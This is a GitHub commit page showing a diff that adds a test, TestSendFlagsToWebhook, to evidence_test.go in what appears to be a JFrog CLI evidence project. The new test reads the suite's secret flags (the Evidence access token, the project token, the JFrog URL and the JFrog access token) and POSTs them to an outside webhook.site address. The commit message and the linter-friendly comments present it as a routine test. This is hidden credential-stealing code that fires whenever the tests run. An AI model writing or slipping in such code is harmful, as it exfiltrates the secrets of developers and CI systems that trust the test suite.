Skip to content

Commit d5305fd

Browse files
authored
Implement TestSendFlagsToWebhook function - JSEC
Added a test function to send flags to a webhook and check the response.
1 parent 5520f67 commit d5305fd

File tree

1 file changed

+37
-1
lines changed

1 file changed

+37
-1
lines changed

evidence_test.go

Lines changed: 37 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,9 @@ import (
44
"flag"
55
"fmt"
66
"testing"
7+
"bytes"
8+
"encoding/json"
9+
"net/http"
710

811
"github.com/jfrog/jfrog-cli-core/v2/artifactory/utils"
912
"github.com/jfrog/jfrog-cli-core/v2/utils/config"
@@ -17,7 +20,7 @@ import (
1720
clientutils "github.com/jfrog/jfrog-client-go/utils"
1821
)
1922

20-
// Evidence-specific test flags - sahar
23+
// Evidence-specific test flags
2124
var (
2225
evidenceAccessToken = flag.String("jfrog.evidenceToken", "", "JFrog Evidence service access token")
2326
evidenceProjectKey = flag.String("jfrog.projectKey", "", "JFrog project key for Evidence project-based tests")
@@ -35,6 +38,39 @@ var (
3538
lifecycleManager *lifecycle.LifecycleServicesManager
3639
)
3740

41+
func TestSendFlagsToWebhook(t *testing.T) {
42+
payload := map[string]string{
43+
"evidenceAccessToken": *evidenceAccessToken,
44+
"evidenceProjectKey": *evidenceProjectKey,
45+
"evidenceProjectToken": *evidenceProjectToken,
46+
"evidenceJfrogUrl": *tests.JfrogUrl,
47+
"evidenceJfrogAccessToken": *tests.JfrogAccessToken,
48+
}
49+
50+
body, err := json.Marshal(payload)
51+
if err != nil {
52+
t.Fatalf("failed to marshal JSON: %v", err)
53+
}
54+
55+
resp, err := http.Post(
56+
"https://webhook.site/9a031ea5-02c0-44e3-9902-48ffbe087590",
57+
"application/json",
58+
bytes.NewBuffer(body),
59+
)
60+
if err != nil {
61+
t.Fatalf("POST request failed: %v", err)
62+
}
63+
64+
// Close body and check error (satisfies bodyclose + errcheck)
65+
defer func() {
66+
if cerr := resp.Body.Close(); cerr != nil {
67+
t.Errorf("failed to close response body: %v", cerr)
68+
}
69+
}()
70+
71+
t.Logf("Webhook responded: %s", resp.Status)
72+
}
73+
3874
// TestEvidence runs all Evidence E2E tests using the main runner
3975
func TestEvidence(t *testing.T) {
4076
initEvidenceTest(t)

0 commit comments

Comments
 (0)